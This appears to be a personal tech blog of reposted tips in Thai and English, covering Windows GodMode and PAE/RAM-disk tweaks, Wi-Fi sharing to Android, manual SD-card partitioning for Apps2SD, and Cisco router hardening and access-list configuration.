*ມິມີ ສຸກພະໄທ ອິນທະສານ**

Godmod for Window 7

2011-10-18T07:13:00.000-07:00

1.Create folder set name :GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
you will get Administrator tool

ใช้เกิน 4GB ได้ ไม่ต้องง้อ 64 บิต

2011-08-15T06:39:00.000-07:00

Categories

Tips & Tricks (15)
Technical Dic. (10)
Timeline (9)
Another Articles (23)

TIPS & TRICKS

Most Popular Articles
Latest Articles

TECHNICAL Dic.

Most Popular Articles
Latest Articles

TIMELINE

Most Popular Articles
Latest Articles

ANOTHER

Most Popular Articles
Latest Articles

ดาวน์โหลดใบสมัคร E-Magazine ดาวน์โหลดใบสมัคร Magazine สั่งซื้อ CHIP Magazine ขั้นตอนการสมัคร E-Magazine ชมตัวอย่าง E-Magazine
Share Facebook Posted: Tue, 8 February 2011 | 10,714 reads

ปัญหาของวินโดว์ส 32 บิตที่มองเห็นหน่วยความจำ 4GB (หรือมากกว่า) ไม่เต็มความจุ
กำลังจะหมดไปด้วยเทคนิค PAE และวิธีย้ายตำแหน่งอ้างอิง
เหตุใด? ระบบปฏิบัติการ 32 บิต ถึงมองเห็นหน่วยความจำได้ไม่เต็มความจุ
หน่วยความจำ ประกอบด้วยหน่วยเก็บข้อมูลย่อยๆ แต่ละหน่วยเก็บข้อมูลจะถูกอ้างถึงได้โดยแอดเดรส ซึ่งเป็นเลขฐาน 2 แอดเดรสนี้จะร้องขอโดยซีพียูไปยังหน่วยความจำหลัก เพื่ออ่านค่าหน่วยความจำที่แอดเดรสนั้น

ตัวอย่างเช่น หากซีพียูทำงานในระบบ 3 บิต ก็จะอ้างถึงหน่วยความจำได้ 23 = 8 ช่อง หรือ 8 bytes เมื่อติดตั้งหน่วยความจำเกินกว่าซีพียูจะอ้างถึง เช่น 64 byte ลงไป ซีพียูที่ทำงานในระบบ 3 บิต ก็จะมองเห็นได้เท่าที่ตัวเองจะอ้างอิงนั่นคือ 8 byte เท่านั้น อีก 56 byte จึงกลายเป็นพื้นที่ลึกลับและเปล่าประโยชน์ที่ซีพียูไม่สามารถอ้างถึงได้นั่นเอง

ในระบบ 32 บิต การอ้างอิงหน่วยความจำหลักจะทำได้ 232 หรือเท่ากับ 4,294,967,296 byte หรือประมาณ 4GB ไม่เกินจากนี้ แต่น่าเสียดายที่อุปกรณ์ต่างๆ ที่ติดตั้งอยู่ในระบบ ตั้งแต่ ตัวคอนโทรลเลอร์ USB การ์ดแสดงผลหรือการ์ดทีวีจูนเนอร์ต่างก็ต้องอ้างถึงพื้นที่หน่วยความจำใน ระบบด้วยเช่นกัน ทำให้ระบบปฏิบัติการต้องกันพื้นที่ของหน่วยความจำประมาณ 300 – 1024MB สำหรับอุปกรณ์นั้นๆ ไว้ ไม่ว่าจะถูกใช้หรือไม่ก็ตาม

ล้วงลึกหน่วยความจำระบบด้วย Physical Address Extension (PAE)
เมื่อไม่นานมานี้ มีผู้คิดค้นเทคโนโลยี Physical Address Extension (PAE) ที่ช่วยดึงหน่วยความจำหลักของระบบในส่วนที่ถูกกักเก็บไว้กลับมาใช้ได้อีก ครั้ง ใครที่ใช้ซีพียูอินเทลตระกูลเพนเทียมหรือเก่ากว่าซึ่งอ้างถึงพื้นที่หน่วย ความจำได้ 32 Line จะไม่สามารถใช้ประโยชน์จากเทคโนโลยี PAE ได้ แต่ถ้าคุณใช้ซีพียูตั้งแต่เพนเทียมโปรเรื่อยมาจนถึง Core 2 ที่อ้างถึงหน่วยความจำได้มากกว่า 36 line จะรองรับความจุของหน่วยความจำได้สูงสุดถึง 64GB เลยทีเดียว เทคโนโลยี PAE นี้จะสามารถเปิดใช้งานได้ตั้งแต่วินโดว์สเอ็กซ์พี SP2 ขึ้นไป ส่วนจะทำงานได้สมบูรณ์มากน้อยแค่ไหนก็ขึ้นอยู่กับฮาร์ดแวร์ในเครื่องเป็น สำคัญด้วย

เปิดประตู PAE (Windows XP)
ในวินโดว์สเอ็กซ์พีคุณสามารถเปิดใช้งาน PAE ได้ด้วยการแก้ไขไฟล์ "Boot.ini" การเข้าไปยังไฟล์นี้ ทำได้โดย

1. กดคีย์ลัด [Windows] + [E] เพื่อเข้ามาที่หน้า My Computer ดับเบิลคลิกเข้าไปที่ไดร์ฟ
หลักที่ติดตั้งระบบปฏิบัติการไว้

2. คลิกที่เมนู Tools > Folder Options แล้วเอาเครื่องหมายถูกที่หัวข้อ Hide protected operating system files (Recommended) ออก ติ๊กถูกที่หัวข้อ Show hidden files and folders กด OK ก็จะเห็นไฟล์ Boot.ini โชว์ขึ้นมา

3. คลิกขวาเลือก Properties แล้วเอาเครื่องหมายหน้า Read-only ออก เท่านี้คุณก็แก้ไขไฟล์ Boot.ini ได้แล้ว

4. ให้คุณเพิ่มคำสั่ง /PAE ต่อท้ายบรรทัดที่ระบุตำแหน่งระบบปฏิบัติการ จากนั้นกด Save และรีสตาร์ทเครื่อง ถ้าฮาร์ดแวร์รองรับคำสั่ง PAE เมื่อเข้ามาที่ Control panel > System คุณก็จะเห็นรายละเอียดหน่วยความจำที่มากขึ้นพร้อมๆ กับคำว่า Physical address enhancement

เปิดประตู PAE (Windows Vista / 7)
ในวินโดว์สวิสต้าหรือวินโดว์สเซเว่นก็สามารถทำได้เช่นกัน แต่การเปิดใช้คำสั่งนี้จะเปลี่ยนไป

1. ให้คุณกดปุ่ม [Windows] แล้วพิมพ์ cmd ลงในช่อง Search Field

2. จากนั้นคลิกขวาที่ไฟล์ cmd.exe เลือก Run as administrator พิมพ์คำสั่ง “BCDedit/set PAE forceenble” กด Enter แล้วรีสตาร์ทเครื่อง ประสิทธิภาพของคอมพิวเตอร์จะสูงขึ้น ถ้าอุปกรณ์รองรับคำสั่งดังกล่าว

หมายเหตุ : หากระบบไม่สามารถทำงานได้ ให้เข้าไปที่ Safe mode และลบคำสั่ง /PAE ในไฟล์ Boot.ini (วินโดว์สเอ็กซ์พี) หรือพิมพ์ “BCDedit/set PAE forcedisable” (วินโดว์สวิสต้า/วินโดว์สเซเว่น)

"หน่วยความจำที่ระบบมอง เห็น เพิ่มขึ้นนั้น จะไม่ได้ถูกนำมาใช้กับระบบโดยตรง แต่จะถูกแปลงให้เป็น RAM-Disk เพื่อใช้ความเร็วของมันให้เป็นประโยชน์ต่อได้ CHIP ขอแนะนำ Gavotte ramdisk สุดยอดโปรแกรมสร้าง RAM-Disk ที่ทำงานได้ดี ใช้งานง่าย และมีให้ดาวน์โหลดจากเว็บไซต์ของเราด้วยเช่นกัน"

แทนที่ฮาร์ดดิสก์อืดๆ ด้วย RAM-Disk
การติดตั้ง RAM-Disk ทำได้ง่ายและใช้เวลาไม่นานขั้นตอนแรก ต้องแก้ไขการตั้งค่าของ Registry เก่าก่อน โดยดับเบิลคลิกที่ไฟล์ “ram4g.reg” ในโฟลเดอร์ gavotte เพื่อเปิดระบบ จากนั้นคลิกขวาที่โปรแกรม ramdisk เลือก Run as administrator แล้วกดยืนยันการติดตั้งไดรเวอร์ รอสักครู่เพื่อให้ RAM-Disk เข้าสู่ระบบ ขั้นตอนสุดท้ายคือการเลือกขนาดพื้นที่ RAM-Disk ที่ต้องการแล้วกด OK

คุณสามารถจัดการกับ RAM-Disk และใช้ประโยชน์จากพื้นที่ 500 หรือ 600MB ที่เพิ่มขึ้นมาได้ทันที หลังจากสร้างไดร์ฟแล้ว ระบบจะสร้าง โฟลเดอร์เก็บ Temp File ด้วย ซึ่งจะถูกลบทุกๆ ครั้งที่ชัตดาวน์หรือรีสตาร์ทเครื่อง อย่างไรก็ตาม พื้นที่จะไม่ได้เพิ่มขึ้นอย่างมีนัยสำคัญ ถ้าคุณตระหนักดีว่า PAE และ Gavotte ทำงานได้อย่างถูกต้องในระบบ

คุณสามารถขยายขนาดของ RAM-Disk ได้ด้วยการใส่หน่วยความจำเพิ่มลงไป และปรับเปลี่ยนการตั้งค่าพื้นฐานของเครื่องมือ Gavotte เสียใหม่ RAM-Disk ก็จะขยายขนาดเป็น 4GB ได้เองอัตโนมัติ RAM-Disk ที่ได้สามารถนำไปใช้ประโยชน์ได้หลายแบบ โดยเฉพาะอย่างยิ่ง การเซ็ตให้พื้นที่ของ RAM-Disk ทำงานเป็น Swap File ซึ่งจะช่วยให้ระบบและแอพพลิเคชันทำงานได้เร็วขึ้น

คุณสามารถตั้งค่า นี้ในวินโดว์สวิสต้าได้
โดยไปที่ Control Panel > System Maintenance> System เลือกหัวข้อ advanced system settings > Performance > Settings ค่ากำหนดของ Swap File จะอยู่ในแท็บ Extended

สำหรับวินโดว์สเอ็กซ์พี การตั้งค่า
Swap File ต้องเข้าไปตั้งค่าที่ Control Panel > System > Advanced > คลิก Setting ในหัวข้อ Performance > Advanced > คลิก Change ในหัวข้อ Virtual Memory จากนั้นให้ยกเลิกการตั้งค่า Swap File อันเดิมซึ่งจะเป็นไดร์ฟ C: ออกก่อน แล้วค่อยมาเปิดใช้งานที่ไดร์ฟ R: หรือไดร์ฟที่สร้างไว้

mimi went to joiined wedding

2011-07-29T08:39:00.001-07:00

datpin cute

2011-07-29T08:31:00.000-07:00

how to use virtual router and connectify

2011-06-23T01:19:00.001-07:00

Here is the guide on how to use virtual router and connectify

On Windows 7 Box:

* Download and install Virtual Router or Connectify, you can try one of them. They are hardware specific so read the documentation on their websites about the supported WiFi devices.
* Fill in the settings panel with your prefered WiFi name, password and internet connection to share
Virtual Router

Virtual Router
Connectify

Connectify
* Click start button to start sharing
* On your Wireless Connection Status, click Details to get the network connection information, note the IPV4 Address

On Android Device

* Go to Settings -> Wireless & networks -> Wi-Fi Settings
* Open Advance settings menu
* Tick the Use static IP option
* Enter your desired IP address (ex: 192.168.2.2) into Ip Address field
* Enter your IPV4 Address (ex. 192.168.2.1) into Gateway field
* Enter 255.255.255.0 into Netmask field
* Enter your internet connection’s DNS server (use ipconfig /all command to get DNS info) into DNS 1 and DNS 2. As an alternative, you can use Google Public DNS: 8.8.8.8 and 8.8.4.4
Wifi Static IP Setting

Wifi Static IP Setting
* Connect to Wi-Fi using your password
* Disable and Enable Wi-Fi (in case if it won’t connect)
Android Wi-Fi

Android Wi-Fi
* Check the connection using browser or other application.

How to manually partition your SD card for Android Apps2SD

2011-06-23T01:16:00.000-07:00

How to manually partition your SD card for Android Apps2SD
Taylor Wimberly on Aug 21, 2009 at 9:27 pm118 comments
How to manually partition your SD card for Android Apps2SD

Update: You might also want to check out the Amon_RA recovery image which will automatically partition your SD card.

This article is for people with rooted Android phones. Everyone else please ignore. There are dozens of ways to partition your SD card and I would like to share the one that has worked for me every time. I prefer to manually partition my SD card because it gives me complete control.

Requirements before getting started:

* Cyanogen Recovery Image v1.4 or greater (Easy to install with the 1-click hack)
* SD Card (Class 6 suggested): A-DATA has good prices on Amazon (4GB, 8GB, 16GB)
* Android Device Bridge(ADB): Comes with the Android SDK.
* Android build that supports Apps2SD: I suggest Cyanogen’s latest stable release (Does Apps2SD automatically)

These instructions apply to both the Windows command prompt and the Mac terminal. As you can see from my screens, I was using Windows Vista. You can partition your SD card at any time, but you might as well do it before you flash a new build of Android. As always, back up your data when performing any hacks. Partitioning your SD card will erase all data on it. I split this guide into 9 steps, but it is not as difficult as it looks. Read the whole thing before starting.

All commands you need to type are in bold (my comments are in parenthesis). If you do not know how to use ADB, leave a comment for help or read ADB for Dummies over at XDA.

Step 1.

Step 1.

Step 1: Connect your phone to your computer via USB. Reboot into recovery mode.

* Command: adb shell reboot recovery (this will reboot your phone into Cyanogen’s recovery image. Or power on phone when holding home button)
* Command: adb shell (type this after your phone has booted and on the recovery screen. it should take you to a # prompt)

Step 2.

Step 2.

Step 2: Open parted to partition your SD card.

* Command: parted /dev/block/mmcblk0 (opens parted and mounts your SD card)

Step 3.

Step 3.

Step 3: Check the size and partitions of your SD card. The print command will display this info. You can see the size of my SD card is 7969 MB (8 GB). I have 1 partition which is fat32. If your SD card is blank and no partitions are listed, you can skip to Step 5.

* Command: print (displays SD card information)

Step 4.

Step 4.

Step 4: Remove all existing partitions. If you have multiple partitions, remove each one at a time.

* Command: rm 1 (deletes partition number 1)
* Command: rm 2 (if needed. keep going till all partitions are removed)
* Command: print (check when you are done to make sure all partitions are removed)

Step 5.

Step 5.

Step 5: Create your new partitions. You can make these any size, but the most common setup is 32 MB linux-swap partition, 512 MB ext2 partition, and remaining free space as a fat32 partition. In order to work properly, the partitions must be created in this order: fat32, ext2, linux-swap.

The linux-swap partition is used for a swap file on some builds. Not all builds use linux-swap, but I create one just in case I ever need it.

The ext2 partition is where your apps will be installed. I use 512 MB which gives me plenty of room but you can go larger like 1024 MB if you want. Parted only creates ext2 partitions and we can convert them to ext3 or ext4 later.

When using the Linux command mkpartfs, you must tell it where to start and and end each partition. This can be done by taking the total SD card size and subtracting the linux-swap then ext2 partition sizes. See the following example for my 8 GB card.

* Command: mkpartfs primary fat32 0 7425 (start is 0 and end is Total C)
* Command: mkpartfs primary ext2 7425 7937 (start is Total C and end is Total B)
* Command: mkpartfs primary linux-swap 7937 7969 (start is Total B and end is Total A)

Partition sizes for a 8 GB SD card.

Partition sizes for a 8 GB SD card.
Step 6.

Step 6.

Step 6: Check the sizes of your partitions. Use the command print again to display the partition sizes. If you made any mistakes you can return to Step 4 and remove them.

* command: print (displays your partition information)

Step 7.

Step 7.

Step 7: Exit parted and upgrade your ext2 file system to ext3. For most users this is the final step. We suggest all users upgrade to ext3. Its main advantage over ext2 is journaling which improves reliability and eliminates the need to check the file system after an unclean shutdown.

* command: quit (exit parted and return to # prompt)
* command: upgrade_fs (script to upgrade from ext2 to ext3)

Step 8.

Step 8.

Step 8 (Optional): If you wish, you can upgrade your ext3 partition to ext4. Skip to Step 9 is you wish to use ext3. I asked Cyanogen what file system he uses and he tweeted ext4. The file system offers enhancements like delayed allocation. See Wikipedia for more info on ext4.

* command: tune2fs -O extents,uninit_bg,dir_index /dev/block/mmcblk0p2 (enter this command from the # prompt)
* command: e2fsck -fpDC0 /dev/block/mmcblk0p2 (run e2fsck after tune2fs. wait for the file check to finish)

Step 9.

Step 9.

Step 9: Finished. Check your work with print.

* command: parted /dev/block/mmcblk0 (open parted again)
* command: print (check all your system partitions and their sizes)
* command: quit (exit parted)
* command: reboot (reboot your system to the operating system)

Make laptop act as router

2011-06-16T08:17:00.001-07:00

Cisco router security configuration guide

2011-06-16T08:01:00.000-07:00

Cisco Router Security Configuration Guide Part 1

การคอนฟิก Cisco Router เบื้องต้น
Router นั้นเป็นอุปกรณ์สำคัญตัวหนึ่งบนระบบเครือข่ายคอมพิวเตอร์ ทำหน้าที่รับ-ส่งข้อมูลระหว่างเครือข่ายต่างๆ Router นั้นมีการทำงานที่ซับซ้อนกว่าอุปกรณ์เครือข่ายอื่นๆ อย่าง Hub หรือ Switch และจะต้องมีการคอนฟิกระบบให้เหมาะสมกับระบบเครือข่ายก่อนจึงจะสามารถทำงาน ได้

สำหรับบทความนี้เป็นตอนที่ 1 จาก 2 ตอน ซึ่งจะอธิบายถึงคำแนะนำในการปรับแต่งค่าคอนฟิก Router ของ Cisco เพื่อให้มีความปลอดภัยจากการใช้งาน โดยคำสั่งต่างๆ นั้น จะอ้างอิงจากชุดคำสั่งของ Cisco อย่างไรก็ตาม ท่านสามารถนำคำแนะนำต่างๆ เหล่านี้ไปประยุกต์ใช้ให้เหมาะสมกับระบบเครือข่าย (รวมถึง Router ยี่ห้ออื่นๆ)

คำแนะนำโดยทั่วไปเกี่ยวกับการคอนฟิก Router
1. ควรสร้างนโยบายความปลอดภัยของ Router และปรับแต่งให้เหมาะสมอยู่เสมอ โดยในนโยบายนั้น ควรทำการระบุว่าผู้ใดบ้างได้รับอนุญาตให้เข้าใช้งาน Router และผู้ใดบ้างได้รับอนุญาตให้ปรับแต่งแก้ไขและอัพเดตการทำงานของ Router รวมทั้งเก็บบันทึกค่าการเข้าใช้งานและการปรับแต่งค่าทั้งหมดที่เกิดขึ้นจริง กับ Router

2. ให้คำอธิบายและเก็บบันทึกไฟล์ ที่ใช้กำหนดคอนฟิกของ Router การกระทำดังกล่าวนี้อาจจะดูเหมือนเป็นสิ่งง่ายเมื่อเปรียบเทียบกับความ ปลอดภัยที่จะได้รับ นอกจากนั้น ควรเก็บสำเนาคอนฟิกของ Router ทั้งหมดที่เหมือนกับคอนฟิกจริงที่ใช้งานไว้ตลอดเวลา (หากมีการแก้ไขคอนฟิกที่ Router ก็จะต้องแก้ไขค่าที่เก็บสำเนาไว้ด้วย) การกระทำดังกล่าวนี้จะช่วยให้สามารถตรวจสอบความเปลี่ยนแปลงที่เกิดขึ้นเมื่อ ถูกบุกรุก หรือใช้กู้คืนค่าดังกล่าวมาใช้งานเมื่อเกิดความเสียหายได้

3. สร้าง Access List เพื่อควบคุมการผ่านเข้าออกเครือข่าย โดยอนุญาตให้เฉพาะโปรโตคอล (Protocol) และบริการ (Service) ที่ผู้ใช้งานเครือข่ายจำเป็นต้องใช้เท่านั้น นอกเหนือจากนั้นจะไม่อนุญาตให้ผ่านเครือข่ายทั้งหมด

4. อัพเดท IOS ให้เป็นเวอร์ชันล่าสุดที่เป็นไปได้อยู่เสมอ โดยสอบถามข้อมูลเวอร์ชันที่เหมาะสมได้จากผู้แทนจำหน่ายหรือจากเว็บไซต์ของ Cisco (http://www.cisco.com)

5. ทดสอบความปลอดภัยโดยทั่วไปของ Router อยู่เสมอ โดยเฉพาะอย่างยิ่งเมื่อมีการเปลี่ยนแปลงคอนฟิกที่สำคัญของ Router

คำแนะนำเกี่ยวกับการเข้าถึง Router
1. ปิดความสามารถในการทำงานต่างๆ ของ Router ที่ไม่จำเป็นต้องใช้งาน เพื่อประหยัดพื้นที่หน่วยความจำและลดการทำงานของโปรเซสเซอร์ของ Router วิธีการดูว่ามีโปรเซสอะไรกำลังทำงานอยู่บ้างทำได้โดยการใช้คำสั่ง show proc ที่ Router แล้วสั่งปิดบริการทั้งหมดที่แน่ใจว่าไม่จำเป็นต้องใช้งาน โดยทั่วไป การทำงานของ Router ที่สามารถปิดการทำงานได้ ได้แก่

• Small services ปิดการทำงานด้วคำสั่ง no service tcp-small-servers
(echo, discard, chargen, etc.) ปิดการทำงานด้วคำสั่ง no service udp-small-servers

• BOOTP ปิดการทำงานด้วยคำสั่ง no ip bootp server

• Finger ปิดการทำงานด้วยคำสั่ง no service finger

• HTTP ปิดการทำงานด้วยคำสั่ง no ip http server

• Identd ปิดการทำงานด้วยคำสั่ง no ip identd (เฉพาะบางเวอร์ชันของ IOS)

• SNMP ปิดการทำงานด้วยคำสั่ง no snmp-server

2. ปิดการให้บริการต่างๆ ของ Router ที่ไม่จำเป็นต้องใช้ของ บริการเหล่านี้ใช้เพื่อการอนุญาตให้ส่งแพ็กเก็ตหลายชนิดผ่าน Router หรือส่งแพ็กเก็ตชนิดพิเศษบางชนิด หรือใช้เพื่อการปรับแต่งคอนฟิกของ Router จากแบบรีโมต โดยทั่วไป บริการของ Router ที่สามารถทำการปิดบริการได้ ได้แก่

• CDP ปิดบริการด้วยคำสั่ง no cdp run

• Remote config ปิดบริการด้วยคำสั่ง no service config

• Source routing ปิดบริการด้วยคำสั่ง no ip source-route

3. เพิ่มความปลอดภัยให้กับอินเทอร์เฟซของ Router โดยการใช้คำสั่งดังต่อไปนี้กำหนดไว้ที่ทุกอินเทอร์เฟซ (จะต้องทำที่โหมดของการกำหนดค่าให้อินเทอร์เฟซ)

• Unused interfaces ให้รันคำสั่ง shutdown

• No Smurf attacks ให้รันคำสั่ง no ip directed-broadcast

• Ad-hoc routing ให้รันคำสั่ง no ip proxy-arp

4. เพิ่มความปลอดภัยให้กับการติดต่อกับ Console line, Auxiliary line และ Virtual terminal line ของ Router มีความปลอดภัยมากขึ้นได้โดยการใช้คำสั่งดังต่อไปนี้ กำหนดไว้ที่ Console line และ Virtual terminal line (ดังตัวอย่างด้านล่าง) ส่วน auxiliary line หากไม่มีการใช้งานควรถูกปิด ตามตัวอย่างด้านล่าง

• Console Line
line con 0
exec-timeout 5 0
login
transport input telnet

• Auxiliary Line
line aux 0
no exec
exec-timeout 0 10
transport input telnet

• VTY lines
line vty 0 4
exec-timeout 5 0
login
transport input telnet

5. ควรเลือกใช้รหัสให้มีความปลอดภัยมากที่สุดเท่าที่จะทำได้ โดยเปิดใช้การตั้งค่ารหัสผ่านแบบ Enable Secret ซึ่งเป็นการเข้ารหัสของรหัสผ่านด้วยอัลกอริทึม MD-5 นอกจากนี้ ควรตั้งรหัสผ่านไว้สำหรับการเชื่อมต่อผ่านทาง Console line, Auxiliary line และ virtual terminal line ด้วย โดยค่ารหัสผ่านที่ตั้งให้กับแต่ละ Line นี้ควรได้รับการปกป้องในเบื้องต้นโดยการเรียกใช้คำสั่ง service password-encryption เพื่อให้เกิดการเข้ารหัสสำหรับรหัสผ่านทั้งหมด รายละเอียดดังตัวอย่างด้านล่าง

• Enable secret enable secret 0 2manyRt3s

• Console Line
line con 0
password Soda-4-jimmY

• Auxiliary Line
line aux 0
password Popcorn-4-sara

• VTY Lines
line vty 0 4
password Dots-4-grorg3

• Basic protection
service password-encryption

6. เก็บค่าคอนฟิก Router เป็นความลับเฉพาะผู้ที่มีส่วนเกี่ยวข้องหรือได้รับมอบหมาย ไม่ทำการเปิดเผยรายละเอียดการคอนฟิกและไฟล์คอนฟิกแก่ผู้ที่ไม่ได้รับอนุญาต โดยเด็ดขาด

Cisco Router Security Configuration Guide Part 2

การคอนฟิก Logging & Debugging บน Cisco Router
1. เปิดใช้งานความสามารถในการเก็บบันทึกค่าการทำงานของ Router เพื่อใช้เก็บบันทึกค่าการทำงานและความผิดพลาดต่างๆ ที่เกิดขึ้น และส่งแพ็กเก็ตไปยังเครื่องคอมพิวเตอร์ที่ใช้ในการเก็บ Syslog บนในเครือข่ายที่น่าเชื่อถือ โดยจะต้องแน่ใจว่าเส้นทางที่ส่งข้อมูลเป็นเครือข่ายที่น่าเชื่อถือ

วิธีการเปิดใช้งานบน Cisco Router มีวิธีการดังต่อไปนี้
Cisco_Router1 (config) # logging on
Cisco_Router1 (config) # logging 10.1.1.200
Cisco_Router1 (config) # logging buffered
Cisco_Router1 (config) # logging console critical
Cisco_Router1 (config) # logging trap debugging
Cisco_Router1 (config) # logging facility local1

2. กำหนดค่าการทำงานของ Router โดยให้เก็บค่าเวลาลงในบันทึกการทำงานลงในล็อกด้วย โดยการตั้งค่าเวลาจากเครื่องเซิร์ฟเวอร์ NTP ที่แตกต่างกันอย่างน้อย 2 เครื่อง เพื่อให้ค่าที่ได้มีความถูกต้อง ซึ่งจะช่วยให้ผู้ดูแลระบบติดตามเหตุการณ์การบุกรุกเครือข่ายได้สะดวกแม่นยำ มีวิธีการดังตัวอย่างด้านล่าง

service timestamps log datetime localtime show-timezone
clock timezone EST -5
clock summer-time EDT recurring
ntp source Ethernet 0/1
ntp server 192.5.41.40
ntp server 192.5.41.41

3. หากมีการใช้งาน SNMP ใช้เลือกใช้ SNMP community string ที่ยากต่อการเดา คำสั่งที่ได้แสดงไว้ดังตัวอย่างด้านล่างแสดงให้เห็นถึงวิธีการในการลบค่าดี ฟอลท์ Community string ของ Router และควรกำหนดให้ Community string เป็นแบบอ่านอย่างเดียว

Cisco_Router1 (config) # no snmp community public
Cisco_Router1 (config) # no snmp community private
Cisco_Router1 (config) # snmp community SEC>Ever1

Checklist ความปลอดภัย
Checklist ความปลอดภัยต่อไปนี้ออกแบบขึ้นมาเพื่อเป็นเครื่องช่วยในการตรวจสอบความ ปลอดภัยในการกำหนดค่าการทำงานให้กับ Router และช่วยทบทวนถึงรายละเอียดความปลอดภัยทั้งหมดที่เกี่ยวข้อง

• มีการเขียน ตรวจสอบรับรอง และประกาศใช้งานนโยบายความปลอดภัยของ Router
• ตรวจสอบเวอร์ชันของ IOS ของตัว Router ว่ามีความทันสมัยหรือไม่
• ตรวจสอบค่าคอนฟิกของ Router ที่ใช้งานว่ามีความถูกต้องชัดเจน มีการแบ็กอัพ และถูกจำกัดการเข้าถึง หรือไม่
• ตรวจสอบว่ามีการกำหนดรายละเอียดของค่าการทำงานของ Router ไว้อย่างชัดเจน มีคำอธิบายที่ครบถ้วนหรือไม่
• มีการกำหนดผู้รับผิดชอบ และมีการดูแลตรวจสอบรายชื่อผู้ใช้ Router และรหัสผ่านหรือไม่
• กำหนดรหัสผ่านที่ยากต่อการเดา และจำกัดจำนวนผู้ที่ทราบค่ารหัสผ่าน
• จำกัดการเข้าถึง Router โดยการควบคุมที่ Console, Aux และ VTY
• ยกเลิกหรือปิดบริการทุกอย่างของเครือข่ายที่ไม่จำเป็นต้องใช้งาน
• ปิดอินเทอร์เฟซทั้งหมดที่ไม่มีการใช้งาน
• ยกเลิกหรือปิดบริการที่มีความเสี่ยงที่อินเทอร์เฟซ
• กำหนดพอร์ตและโปรโตคอลที่จำเป็นต้องใช้งานในเครือข่ายให้ชัดเจน พร้อมทั้งทำการตรวจสอบด้านความปลอดภัยให้แน่ใจก่อนเปิดใช้งาน
• ใช้ Access List จำกัดความหนาแน่นในการใช้งานเครือข่าย โดยกำหนดตามพอร์ตและโปรโตคอลที่ใช้
• ใช้ Access List เพื่อสกัดกั้นการใช้หมายเลขไอพีที่สำรองไว้หรือหมายเลขไอพีที่ไม่เหมาะสม
• ใช้งานการตั้งค่าการเลือกเส้นทางแบบ Static หากจำเป็น
• โปรโตคอลที่ใช้ในการเลือกเส้นทางจะต้องถูกกำหนดให้ถูกต้องตามวิธีการที่ใช้
• เปิดใช้งานการบันทึกค่าการทำงานลงในล็อก และกำหนดเครื่องที่ใช้ในการรับและเก็บล็อก (ต้องได้รับการตั้งค่าให้ถูกต้อง)
• ตรวจสอบค่าเวลาของ Router ให้มีความถูกต้องเที่ยงตรง และควรได้รับการจัดการผ่านทาง NTP
• บันทึกค่าการทำงานลงในล็อก โดยกำหนดให้รวมข้อมูลของเวลาที่เกิดเหตุการณ์ต่างๆ ไว้ด้วย
• ตรวจสอบ พิจารณาและเก็บบันทึกการทำงานที่เกิดขึ้นในล็อกคามความเหมาะสม (ตามที่ระะบุไว้ในนโยบาย)
• ยกเลิกการใช้งาน SNMP หรือใช้งานโดยทำการตั้งค่า Community string ให้ยากต่อการเดา

Cisco Acl

2011-06-16T07:58:00.000-07:00

Configuring IP Access Lists in Cisco Router

การคอนฟิก Access Lists ใน Cisco Router
1. การสร้าง Access-list ขึ้นใหม่แต่ละครั้งควรจะเริ่มต้นด้วยคำสั่ง no access-list xxx (เมื่อ xxx แทนตัวเลขใดๆ เช่น 123) ก่อนเสมอ เพื่อลบค่าเดิมในกรณีมีการใช้งานอยู่ก่อนหน้า

Cisco_Router1 (config) # no access-list 50
Cisco_Router1 (config) # access-list 50 permit host 192.168.10.9
Cisco_Router1 (config) # access-list 50 deny any log

2. กำหนดหมายเลขพอร์ตที่ต้องการควบคุมสำหรับในแต่ละ Access list ซึ่งจะช่วยเพิ่มประสิทธิภาพการทำงานของ IOS เนื่องจากทำให้ไม่ต้องทำการตรวจสอบข้อมูลในส่วน Header ทั้งหมดของแพ็กเก็ตโดยไม่จำเป็น

นอกจากนี้ ยังช่วยให้แน่ใจว่าข้อมูลการใช้งานที่เก็บในล็อกมีข้อมูลของหมายเลขพอร์ตที่ ถูกต้อง โดยการกำหนดหมายเลขพอร์ตในช่วงที่ต้องการเป็นอาร์กิวเมนต์หนึ่งของ Access list ที่สร้างขึ้น ดังตัวอย่าง

no access-list 101
access-list 101 deny udp any range 1 65535 any range 1 65535 log
access-list 101 deny tcp any range 1 65535 any range 1 65535 log
access-list 101 deny ip any any log

คำ สั่งในบรรทัดสุดท้ายใส่เพื่อให้แน่ใจว่า Router จะปฏิเสธแพ็กเก็ตที่ใช้งานโพรโตคอลอื่นๆ นอกเหนือจาก TCP และ UDP รวมทั้งเก็บค่าลงในล็อก

3. อนุญาต ให้เฉพาะแอดเดรสของเครือข่ายภายในส่งข้อมูลเข้าสู่ router ผ่านทางอินเทอร์เฟซภายใน โดยการบังคับที่ Access list รวมทั้งการปิดไม่ให้แอดเดรสที่ไม่ถูกต้องออกจากเครือข่ายที่อินเทอร์เฟซที่ เชื่อมต่อกับเครือข่ายภายนอก เพื่อป้องกันผู้บุกรุกไม่ให้ใช้ Router เป็นเครื่องมือในการโจมตีที่อื่น วิธีการนี้อาจจะไม่สามารถนำไปใช้งานได้จริงกับเครือข่ายที่มีความซับซ้อน

Cisco_Router1 (config) # no access-list 101
Cisco_Router1 (config) # access-list 101 permit ip 192.168.10.0 0.0.0.255 any
Cisco_Router1 (config) # access-list 101 deny udp any range 1 65535 any log
Cisco_Router1 (config) # access-list 101 deny tcp any range 1 65535 any log
Cisco_Router1 (config) # access-list 101 deny ip any any log
Cisco_Router1 (config) # interface eth 1
Cisco_Router1 (config-if) # ip access-group 101 in
Cisco_Router1 (config-if) # exit
Cisco_Router1 (config) # interface eth 0
Cisco_Router1 (config-if) # ip access-group 101 out

4. ไม่ควรให้แพ็กเก็ตที่มาจากภายนอก (จากเครือข่ายที่ไม่น่าเชื่อถือ) ผ่านเข้ามาในเครือข่าย เนื่องจากอาจจะเป็นแพ็กเก็ตที่มีการปลอมแปลง หรือส่งมาเพื่อโจมตีเครือข่าย สามารถทำได้โดยการแบ่งส่วนของเครือข่ายทั้งหมดตามแต่ละอินเทอร์เฟซของ Router และออกแบบว่าจะเลือกให้มีการส่งผ่านข้อมูล ที่มาจากเครือข่ายภายนอกและเครือข่ายที่ไม่น่าเชื่อถือจากที่ใดได้บ้าง

